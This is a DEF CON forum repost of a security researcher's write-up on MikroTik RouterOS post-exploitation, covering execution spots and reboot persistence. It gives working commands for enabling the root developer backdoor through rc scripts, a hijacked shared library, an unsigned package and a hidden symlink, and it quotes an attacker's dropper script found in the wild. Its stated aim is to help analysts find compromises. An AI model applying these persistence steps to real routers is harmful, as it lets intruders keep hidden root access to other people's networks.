DEF CON Forum Site Header Art


No announcement yet.

RouterOS Post Exploitation Shared Objects, RC Scripts, a Symlink, Jacob Baines, DEF CON 27


  • RouterOS Post Exploitation Shared Objects, RC Scripts, a Symlink, Jacob Baines, DEF CON 27

    Their Title 1: RouterOS Post Exploitation Shared Objects, RC Scripts, and a Symlink

    Originally posted by URL1
    Jacob Baines
    Aug 15

    At DEF CON 27, I presented Help Me, Vulnerabilities! You’re My Only Hope where I discussed the last few years of MikroTik RouterOS exploitation and I released Cleaner Wrasse, a tool to help enable and maintain root shell access in RouterOS 3.x through the current release.

    [IMAGE: Console, showing claimed version v6.43.14 Apr/02/2019 9:12:23]

    The DEF CON talk also covered past and present post exploitation techniques in RouterOS. I roughly broke the discussion into two parts:
    1. Places attackers can execute from.
    2. How to achieve reboot or upgrade persistence.

    That is what this blog is about. But why talk about post exploitation? The fact of the matter is these routers have seen a lot of exploitation. But with little to no public research on post exploitation in RouterOS, it isn’t obvious where an analyst might look to determine the scope of the exploitation. Hopefully, this blog and associated tooling can begin to help. A Brief Explanation of Everything

    [IMAGE: showing package,version,date]

    Before I start talking about post exploitation, you need to have a better idea of RouterOS’s general design. For our purposes, one of the most important things to understand is everything on the system is a package. Pictured to the left, you can see all the packages I have installed on my hAP.

    Even the standard Linux-y directories like /bin/, /lib/, /etc/ all come from a package. The system package to be specific.

    Packages use the NPK file format. Kirils Solovjovs made this excellent graphic that describes the file format. Each NPK contains a squashfs section. On start up, the squashfs file system is extracted and mounted (or symlinked depending on the installation method) in the /pckg/ directory (this isn’t exactly true for the system package but let’s just ignore that).

    [IMAGE: console, command "ls -l /pckg/" showing results with mod files being symlinks]

    Squashfs is read only. You see I can’t touch /pckg/dhcp/lol. That might lead you to believe that the entire system is read only, but that isn’t the case. For example, /pckg/ is actually part of a read-write tmpfs space in /ram/.

    [IMAGE: showing mounted filesystems, highlighting a tmpfs mount on "/ram"]

    Further, the system’s /flash/ directory points to persistent read-write storage. A lot of configuration information is stored there. Also the only persistent storage users have access to,/flash/rw/disk/, is found in this space.

    [IMAGE: showing console with command "ls -l /flash/rw/disk/" and results on top of other image showing mounted filesystem and status in a GUI]

    While all of the system’s executables appear to reside within read-only space, there does appear to be some read-write space, both tmpfs and persistent, that an attacker can manipulate. The trick is figuring out how to use that space to achieve and maintain execution.

    The other thing that’s important to know is that users don’t actually have access to a real shell on RouterOS. Above, I’ve included a screenshot where I appear to have a root shell. However, that’s only because I’ve exploited the router and enabled the developer backdoor. This shouldn’t actually be possible, but thanks to the magic of vulnerabilities it is.

    If you aren’t familiar with the developer backdoor in RouterOS, here is a very quick rundown: Since RouterOS 3.x the system was designed to give you a root busybox shell over telnet or ssh if a special file exists in a specific location on the system (that location has changed over the years). Assuming the special file exists, you access the busybox shell by logging in as the devel user with the admin user’s password.

    You can see in the following video, I use HackerFantastic’s set tracefile vulnerability to create the special file /pckg/option on RouterOS 6.41.4. The existence of that file enables the backdoor. After I log in as devel, delete the file, and log out, I can no longer access the root shell.

    Okay, you know enough to be dangerous. Onwards to post exploitation! The attacks are coming from inside SNMP!

    The snmp binary (/nova/bin/snmp) is part of the system package. However, there are various other packages that want to add their own functionality to snmp. For example, the dhcp package. In the image below, you can see that /pckg/dhcp has an /snmp/ subdirectory.

    [IMAGE: console, command "ls -l /pckg/dhcp/nova/lib/snmp" and result a root:root owned shared-object file with mode 755 named ""]

    When the snmp binary starts up, it will loop over all of the directories in /pckg/ and look for the /nova/lib/snmp/ subdirectory. Any shared object in that subdirectory gets passed to dlopen() and then the shared object’s autorun() is invoked.

    Since the dhcp package is mounted as read-only, an attacker can’t modify the loaded shared object. However, as we’ve established, /pckg/ is read-write so an attacker can introduce their own directory structure (e.g. /pckg/snmp_xploit/nova/lib/snmp/). Any shared object stored there would be loaded by snmp.

    [IMAGE: console, showing command "cat /proc/361/maps" with PID implied to being snmpd, highlighting two (implied) new libraries "/ram/pckg/snmp_xploit/nova/lib/snmp/"]

    It’s pretty neat that an attacker can hide within a process that lives in read-only space! But it’s even more useful when combined with a vulnerability that can write files to disk like CVE-2019–3943 or CVE-2018–14847.

    I wrote a proof of concept to illustrate the use case with CVE-2019–3943. Essentially, an authenticated attacker can create the /pckg/ directory structure using the vulnerability’s directory traversal.

    [IMAGE: code sample, directory traversal]

    Once the directories are created, the attacker needs to drop a shared object on disk. Luckily, CVE-2019–3943 can do that as well. Obviously, a real attacker can execute anything from their shared object, but for the proof of concept I create the 6.41+ backdoor file directly from a constructor function.

    [IMAGE: claimed code as PoC, recursive forced removal of exploit dir and subdirs, then NOP/return in function]

    The PoC will even stop and restart the SNMP process to ensure the shared object gets loaded without a reboot of the system.

    [IMAGE: console implying execution from remote shell to run attack against device using cve_2019_3943, and then ssh to the device where the exploit was launched against, and then a remote ssh session, calling "uname -a"]

    Since /pckg/ is in tmpfs space, the directory structure the script creates would be removed on a reboot even if the PoC didn’t delete it. I’m in your /rw/lib, executing as one of your dudes

    Similar to the above, I found that I could get system binaries to load libraries out of /flash/rw/lib. This is because /rw/lib/ is the first entry in the LD_LIBRARY_PATH environment variable.

    [IMAGE: showing console, showing value of environmental variable $LD_LIBRARY_PATH highlighting the first element in a colon-separated values of directores, "/rw/lib"]

    The great thing about loading libraries from /rw/lib/ is that, because it’s persistent file space, the shared object will persist across reboots. The only challenge is figuring out which library we want to hijack. The obvious choice is since it’s guaranteed to be loaded… everywhere. But RouterOS uses uClibc and, quite frankly, I didn’t want to deal with that.

    Thankfully, I came upon this.

    [IMAGE: showing several shared objects as needed, by name: "libumsg", "libubox", libz", "libucrypto", "libuc++", "libgcc_s", and "libc"]

    /nova/bin/fileman loads libz. fileman is the system binary that handles reading and writing from the user’s /rw/disk directory via Winbox or Webfig. It gets executed when the user navigates to the “Files” interface, but it shuts down after the user has navigated away and it remains idle for a minute.

    To compile the malicious library, I simply downloaded libz 1.2.11 and added this constructor to deflate.c:

    [IMAGE: code showing call to "--bind" mount "/boot" to a created directory "/pckg/option" to be included in backdoored libz's deflate.c]

    You can see, once again, I’ve just chosen to create the backdoor file. For this proof of concept, I cross compiled the new to MIPS big endian so that I could test it on my hAP router.

    Once again, the proof of concept uses CVE-2019–3943 to create the “lib” directory and drops the library on disk.

    [IMAGE: same as earlier: console, showing command "cat /proc/361/maps" with PID implied to being snmpd, highlighting two (implied) new libraries "/ram/pckg/snmp_xploit/nova/lib/snmp/"]

    However, unlike the SNMP attack, /rw/lib/ will survive reboots and it actually gets loaded quite early in the startup sequence. Which means after every reboot, the backdoor file will get created during start up. Signature verification matters until it doesn’t

    One of the more interesting things stored in /flash/ is the files in /flash/var/pdb/.

    [IMAGE: console command "ls -l /var/pdb" showing contents, directory names that are similar to installed packages]

    It turns out that this is where RouterOS stores all of the installed NPK files. Oddly, as root, they are all writeable. I can tell you from experience, you don’t want to overwrite the system package.

    When I learned I could break the entire system by messing around with the system package, I got kind of curious. What if I was a little more careful? What if I just overwrote the package’s squashfs filesystem? Would that get mounted?

    I wrote a tool called modify_npk to test this out. The tool is pretty simple, it takes in a valid MikroTik NPK (e.g. dude-6.44.5.npk) and a user-created squashfs. The tool removes the valid MikroTik squashfs section and inserts the user’s malicious squashfs. In theory, modify_npk generates a perfectly well formed NPK… just with a new internal squashfs.

    The problem is that MikroTik enforces signature verification when installing NPK packages. If you try to install a modify_npk package then RouterOS will flag it as broken and reject it. See wrasse.npk in the following log file:

    [IMAGE: log entries with one highlighted in red complaining about "broken package wrasse.npk"]

    Which is obviously good! We can’t have weirdos installing whatever they want on these systems. But what if we install it ourselves from our root shell?

    [IMAGE: showing console commands: "cd /var/pbd/" , "mkdir wrasse" , "cd wrasse" , "mv /rw/disk/wrasse.npk ./image" , "echo *" , (output) "image" , "reboot" , (output) "connection closed by foreign host"]

    In theory, RouterOS should always run a signature check on the stored NPK before mounting their filesystems. Since they are all read-write it only makes sense, right?

    [IMAGE: showing status of packages, and no complaint about wrasse]

    In the above image, you can see wrasse was successfully installed on the system, bad signature and all! Obviously, that should mean the squashfs I created was mounted.

    [IMAGE: console, command "cat /proc/mounts" with mounted filesystems, highlighting "/ram/pckg/wrasse" as type "squashfs" mount options "ro, relatime" and "coredump / pass" set to 0 and 0]

    Of course, just having the malicious squashfs mounted isn’t the end, because the filesystem I created actually contains an rc script that will create the backdoor file at startup.

    [IMAGE: console commands "cd /ram/pckg" , "find ./wrasse/" , (output) "./wrasse" and "./wrasse/etc" and "./wrasse/etc/rc.d" and "./wrasse/etc/rc.d/run.d" and "./wrasse/etc/rc.d/run.d/S18lol", "cat ./wrasse/etc/rc.d/run.d", (output) "#!/bin/bash" and "mkdir /pckg/option" and "mount -o bind /boot/ /pckg/option"]

    This is quite useful as it will persist through reboots. Although, users can catch this particular attack by using the “Check Installation” feature.

    [IMAGE: GUI error "Couldn't continue -- damaged /var/pdb/wrasse/image package: bad image (6)"]

    MikroTik silently patched this bug in 6.42.1. I say “silently” because I don’t see any specific release note or communication to the community that indicates that they decided to enforce signature verification on every reboot. RC scripts everywhere

    RouterOS uses rc scripts to start processes after boot and to clean up some processes during shutdown. The OS has a traditional /etc/rc.d/run.d/ file structure, that we will talk about, but it also has (or had) other places that rc scripts are executed from as well. /flash/etc/

    As mentioned, RouterOS has a traditional /etc/ directory, but since the directory is read-only attackers can’t modify or introduce scripts. However, RouterOS does have a second /etc/ off of the persistent read-write /flash/ space.

    [IMAGE: console, command "ls -l /flash/etc/", output showing files "fstab" and "ident" and "lilo.conf"]

    At first glance, it doesn’t appear all that useful as far as rc scripts go. However, as BigNerd95 pointed out in his Chimay-Red repository, you can create an /rc.d/run.d/ subdirectory off of /flash/etc/ and any rc script stored within will be treated as a normal rc script on startup and shutdown.

    In the example below, you can see I create /flash/etc/rc.d/run.d/ and echo the script S89lol into place. After a reboot, the script is executed and the developer backdoor is created.

    [IMAGE: console, previous commands issued to remote device "ls -l /flash/nova/etc/devel-login", (output) "no such file or directory", "mkdir -p /flash/etc/rc.d/run.d" , 'echo "touch /flash/nova/etc/devel-login" > /flash/etc/rc.d/run.dS89lol', "chmod 777 /flash/etc/rc.d/run.d/S89lol", "reboot" , (output) "Connection closed by foreign host", (assumed wait for remote device to reboot), "telnet IPv4 ADDRESS", (banner, login username, password, shell), "ls -l /flash/nova/etc/devel-login", (output shows file is present now), "find /flash/etc/rc.d", (output) "/flash/etc/rc.d" and "/flash/etc/rc.d/run.d" and "/flash/etc/rc.d/run.d/S89lol"]

    This behavior was removed after 6.40.9. Up until then, however, this was a very simple and convenient persistence mechanism. /rw/RESET

    RouterOS has a bunch of scripts sitting in /etc/rc.d/run.d/, but there are two I want to specifically talk about. The first one is S08config and that is because through 6.40.5 it contained the following logic:

    [IMAGE: code:
    elif [ -f /rw/RESET ]; then
    /bin/bash /rw/RESET
    rm -rf /rw/RESET

    Meaning that if /rw/RESET existed then S08config would execute it as a bash script at start up. This is an obvious persistence mechanism. So obvious that it was actually observed in the wild:

    [IMAGE: GUI, terminal session, "cat /rw/RESET2", (output) "/rw/info&mv /rw/RESET /rw/z;(usleep 5000000;mv /rw/r /rw/RESET&"]

    Somehow this forum user obtained MikroTik’s debug package and was able to examine some files post exploitation. Here we can see the attacker using /rw/RESET to execute their /rw/info binary. Perhaps seeing this used in the wild is why MikroTik altered S08config’s behavior. /rw/DEFCONF

    Similar to /rw/RESET, the contents of /rw/DEFCONF can be executed thanks to an eval statement in S12defconf.

     defcf=$(cat /rw/DEFCONF) echo > /ram/defconf-params if [ -f /nova/bin/flash ]; then     /nova/bin/flash --fetch-defconf-params /ram/defconf-params fi (eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";  cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &
    This was first introduced in 6.40.1, but unlike /rw/RESET this hasn’t been fixed as of 6.45.3. In fact, this is the method that Cleaner Wrasse will use to establish reboot persistence on the router. I wrote a proof of concept using CVE-2019–3943 to show how a remote authenticated attacker can abuse /rw/DEFCONF to achieve the backdoor and establish persistence.

    [IMAGE: console, commands "./cve_2019_3493_defconf -i IPv4_IP_ADDRESS -u admin --password lolwat", (output) "Success!", "telnet IPv4_Address", (prompt for username, "devel", then password, then a shell is available)]

    As we saw in the signature verification portion of this writeup, each package off of /pckg/ can have an /etc/rc.d/run.d/ directory containing rc scripts. /pckg/ is part of a tmpfs, so while anything an attacker creates in /pckg/ won’t persist across reboots, new rc scripts will get executed at shutdown.

    How is that useful? One thing I didn’t mention about /rw/DEFCONF is that its existence on the system can cause issues with logging in. Cleaner Wrasse avoids this issue by staging a file in /rw/.lol and then creating an rc script in /pckg/ that creates the /rw/DEFCONF file on shutdown. In that way, Cleaner Wrasse avoids the login problem but ensures /rw/DEFCONF exists when the system starts up again.

    [IMAGE: console, commands "cat /pckg/lol/etc/rc,d/run.d/K92lol" , (output) "#!/bin/bash" and "cp /rw/.lol /rw/DEFCONF"] The symlink of survival

    Many of the proofs of concepts I mention in this blog use CVE-2019–3943, but it was patched for good in May 2019 (6.43.15 Long-term). Unless you use Kirilis Solojov’s USB jailbreak, there are no more public methods to enable the backdoor file and root the device. So how am I able to do this?

    [IMAGE: console, command, "ssh devel@IPv4_Address", "uname -a" , (output) "v6.45 Jul/29/2019 12:11:49"]

    The answer is simple. When I was still able to exploit the router using CVE-2019–3943, I created a hidden symlink to root in the user’s /rw/disk directory.

    [IMAGE: console, ftp session, "ftp> dir", (output shows 3 directories "pub" , ".survival" , "skins" and regular file "busybox-mips"]

    After an upgrade, you need only FTP into the router and traverse the symlink to root. From there you can achieve execution in one of the many ways that you want. In the following image, I drop into /rw/lib/ to enable the backdoor.

    [IMAGE: ftp session, login as admin, cd to "flash/.survival/rw", "mkdir lib" , "cd lib" , "put" , (then exit fto session)]

    RouterOS doesn’t offer a way for a normal user to create a symlink, so you can only do it via exploitation. But RouterOS doesn’t try to remove the symlink either. As long as that’s the case, we can continue using the survival symlink to reestablish the root shell after upgrade.

    Neither Winbox or Webfig displays hidden files. It’s probably worthwhile to occasionally check your user directory via FTP to ensure nothing is hidden there.

    [IMAGE: showing GUI, checking for files in the specified diretcory] So what happened here?

    I’ve shared a bunch of ways to achieve execution and generally hang around the system. So I was a little confused when I stumbled across this:

    mkdir -p $dest
    export PATH=$PATH:$dest
    chmod a+x /flash/rw/pckg/dnstest
    cp /flash/rw/pckg/dnstest $dest/.dnstest
    echo -e "#!/bin/ash\nusleep 180000000\ncp $dest.dnstest /tmp/.dnstest\n/tmp/.dnstest*" > $dest/.test
    chmod +x $dest/echo
    echo -e "#!/bin/ash\n$dest.test&\n/bin/echo \$*" > $dest/echo
    chmod +x dest/echo
    The above image is from the first public report of CVE-2018–14847. Before it had a CVE. Before it was even known by MikroTik. A user popped onto the MikroTik forums and asked about a potential Winbox vulnerability after finding an odd login in their logs and suspicious files on the device. Picture above is from a bash script they found called

    I’ve shown in this blog post, over and over, that an attacker needn’t store anything in the only directory the user can access. Yet, that was exactly what this attacker did. /flash/rw/pckg/ is a symlink to the user’s /flash/rw/disk/ directory. How is it that someone that had a zero day that would later be used against hundreds of thousands, if not millions, of routers didn’t know this simple fact?

    Thankfully they did make this error though. Not only is CVE-2018–14847 pretty nasty but the resulting fallout has forced MikroTik to do some hardening.
    Is all this fixable?

    Of course! Almost everything I’ve talked about here has been fixed, can be fixed with minor changes, or could be fixed just by moving away from executing everything as root. Defense in depth is important, but sometimes it just isn’t a high priority. I don’t expect to see any significant changes in the future, but hopefully MikroTik can work some minor defense in depth improvements into their development plans.
    …or maybe we’ll just wait for RouterOS 7 to be released ;)
      Posting comments is disabled.

    Article Tags


    Latest Articles